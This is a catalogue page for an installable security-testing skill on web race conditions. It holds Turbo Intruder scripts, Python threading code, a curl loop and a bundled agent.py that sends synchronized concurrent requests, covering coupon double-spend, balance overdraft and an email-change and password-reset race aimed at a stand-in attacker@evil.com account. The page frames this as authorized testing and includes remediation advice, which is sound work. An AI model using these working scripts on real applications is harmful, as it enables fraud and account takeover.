Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
- When testing applications with transaction-based functionality (payments, transfers, coupons)
- During assessment of rate-limiting or attempt-limiting mechanisms
- When testing multi-step workflows (registration, password reset, MFA)
- During bug bounty hunting for logic flaws in state-changing operations
- When evaluating applications with inventory or balance management systems
Prerequisites
- Burp Suite Professional with Turbo Intruder extension installed
- Understanding of HTTP/2 single-packet attack technique
- Python scripting ability for custom Turbo Intruder scripts
- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
- Target application with state-changing operations (purchases, votes, transfers)
- Multiple user accounts for testing cross-user race conditions
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Race Condition Attack Surface
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines
# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)Step 2 — Configure Single-Packet Attack in Turbo Intruder
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Queue 20 identical requests for the same operation
for i in range(20):
engine.queue(target.req, gate='race1')
# Hold all requests until ready
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)Step 3 — Execute Limit Overrun Attack
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
# Send 50 coupon redemption requests simultaneously
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# Flag successful redemptions (200 OK)
if req.status == 200:
table.add(req)Step 4 — Exploit Multi-Endpoint Race Conditions
# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Request 1: Change email to attacker@evil.com
email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"email":"attacker@evil.com"}'''
# Request 2: Trigger password reset (goes to original email)
password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
{"email":"victim@target.com"}'''
engine.queue(email_change, gate='race1')
engine.queue(password_reset, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)Step 5 — Test with Python Threading Alternative
import threading
import requests
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
def send_request():
response = requests.post(
TARGET_URL,
json={"coupon": COUPON_CODE},
headers={"Cookie": SESSION_COOKIE},
timeout=10
)
print(f"Status: {response.status_code}, Response: {response.text[:100]}")
# Create barrier to synchronize thread start
barrier = threading.Barrier(20)
def synchronized_request():
barrier.wait() # All threads wait here, then start together
send_request()
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()Step 6 — Analyze Results and Confirm Exploitation
# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)
# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliableKey Concepts
| Concept | Description |
|---|---|
| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |
| Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization |
| Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously |
| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |
| Hidden State Machine | Exploiting transitional states in multi-step application workflows |
| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |
| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |
Tools & Systems
| Tool | Purpose |
|---|---|
| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |
| Burp Suite Repeater | Group send feature for basic race condition testing |
| Nuclei | Template-based scanner with race condition detection templates |
| Python threading | Custom multi-threaded race condition scripts |
| racepwn | Dedicated race condition testing framework |
| asyncio/aiohttp | Python async HTTP for concurrent request sending |
Common Scenarios
- Coupon Double-Spend — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used
- Balance Overdraft — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check
- MFA Bypass — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts
- Inventory Manipulation — Purchase more items than available stock by exploiting race conditions in inventory decrement logic
- Account Registration Bypass — Create multiple accounts with the same email by submitting concurrent registration requests
Output Format
## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20
### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |
### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms
### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environmentsSource materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.4 KB
API Reference: Race Condition Vulnerability Testing
Types of Race Conditions
| Type | Description | Example |
|---|---|---|
| TOCTOU | Time-of-check to time-of-use | Balance check then debit |
| Double-spend | Multiple withdrawals before balance update | Gift card reuse |
| Limit bypass | Concurrent requests bypass rate limits | Coupon reuse |
| State mutation | Concurrent writes corrupt state | Inventory overselling |
Python Threading for Concurrent Requests
Barrier Synchronization
import threading
barrier = threading.Barrier(10)
def worker():
barrier.wait() # All threads release simultaneously
requests.post(url, json=data)
threads = [threading.Thread(target=worker) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()Turbo Intruder (Burp Suite)
Race Condition Script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
for i in range(30):
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)HTTP/2 Single-Packet Attack
Concept
Send multiple requests in a single TCP packet using HTTP/2 multiplexing to eliminate network jitter and maximize race window.
curl Example
# Send 10 requests simultaneously via HTTP/2
for i in $(seq 1 10); do
curl -X POST https://target/api/redeem \
-H "Content-Type: application/json" \
-d '{"coupon": "SAVE50"}' &
done
waitAnalysis Indicators
| Indicator | Meaning |
|---|---|
| Multiple 200 responses | Operation executed multiple times |
| Different response bodies | State changed between requests |
| Mixed status codes | Inconsistent handling |
Common Vulnerable Operations
| Operation | Impact |
|---|---|
| Coupon/voucher redemption | Financial loss |
| Money transfer | Double-spend |
| Like/vote submission | Manipulation |
| Account creation | Duplicate accounts |
| File upload | Overwrite race |
Remediation
- Use database-level locking (
SELECT ... FOR UPDATE) - Implement idempotency keys
- Use atomic operations (e.g.,
UPDATE balance = balance - X WHERE balance >= X) - Apply distributed locks (Redis SETNX)
- Implement optimistic concurrency (version fields)
Scripts 1
agent.py4.2 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing race condition (TOCTOU) vulnerabilities in web applications."""
import argparse
import json
import threading
from datetime import datetime, timezone
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
def send_concurrent_requests(url, method, data, headers, count, results_list):
"""Send multiple identical requests concurrently to trigger race conditions."""
if not HAS_REQUESTS:
return
barrier = threading.Barrier(count)
def worker(idx):
try:
barrier.wait(timeout=5)
if method == "POST":
resp = requests.post(url, json=data, headers=headers, timeout=15, verify=False)
elif method == "PUT":
resp = requests.put(url, json=data, headers=headers, timeout=15, verify=False)
else:
resp = requests.get(url, headers=headers, timeout=15, verify=False)
results_list.append({
"thread": idx,
"status_code": resp.status_code,
"response_length": len(resp.content),
"response_preview": resp.text[:200],
"elapsed": resp.elapsed.total_seconds(),
})
except Exception as e:
results_list.append({"thread": idx, "error": str(e)[:100]})
threads = []
for i in range(count):
t = threading.Thread(target=worker, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join(timeout=20)
def analyze_results(results):
"""Analyze concurrent request results for race condition indicators."""
indicators = []
success_count = sum(1 for r in results if r.get("status_code") == 200)
if success_count > 1:
indicators.append(f"{success_count} successful responses (expected 1 for idempotent operations)")
response_bodies = [r.get("response_preview", "") for r in results if r.get("status_code") == 200]
unique_bodies = set(response_bodies)
if len(unique_bodies) > 1:
indicators.append(f"Different response bodies across concurrent requests: {len(unique_bodies)} unique")
status_codes = [r.get("status_code") for r in results if r.get("status_code")]
if len(set(status_codes)) > 1:
indicators.append(f"Mixed status codes: {set(status_codes)}")
return indicators
def test_race_condition(url, method, data, token, concurrency):
"""Execute race condition test."""
headers = {"Authorization": f"Bearer {token}"} if token else {}
headers["Content-Type"] = "application/json"
results = []
send_concurrent_requests(url, method, data, headers, concurrency, results)
indicators = analyze_results(results)
return {
"url": url,
"method": method,
"concurrency": concurrency,
"responses": results,
"race_indicators": indicators,
"potential_race": len(indicators) > 0,
}
def main():
parser = argparse.ArgumentParser(
description="Test race condition vulnerabilities (authorized testing only)"
)
parser.add_argument("--url", required=True, help="Target URL")
parser.add_argument("--method", default="POST", choices=["GET", "POST", "PUT"])
parser.add_argument("--data", default="{}", help="JSON payload")
parser.add_argument("--token", help="Bearer token")
parser.add_argument("--concurrency", type=int, default=10, help="Concurrent requests")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Race Condition Testing Agent")
print("[!] For authorized security testing only")
data = json.loads(args.data)
result = test_race_condition(args.url, args.method, data, args.token, args.concurrency)
report = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"test_result": result,
"risk_level": "HIGH" if result["potential_race"] else "LOW",
}
print(f"[*] Race condition detected: {result['potential_race']}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()
Keep exploring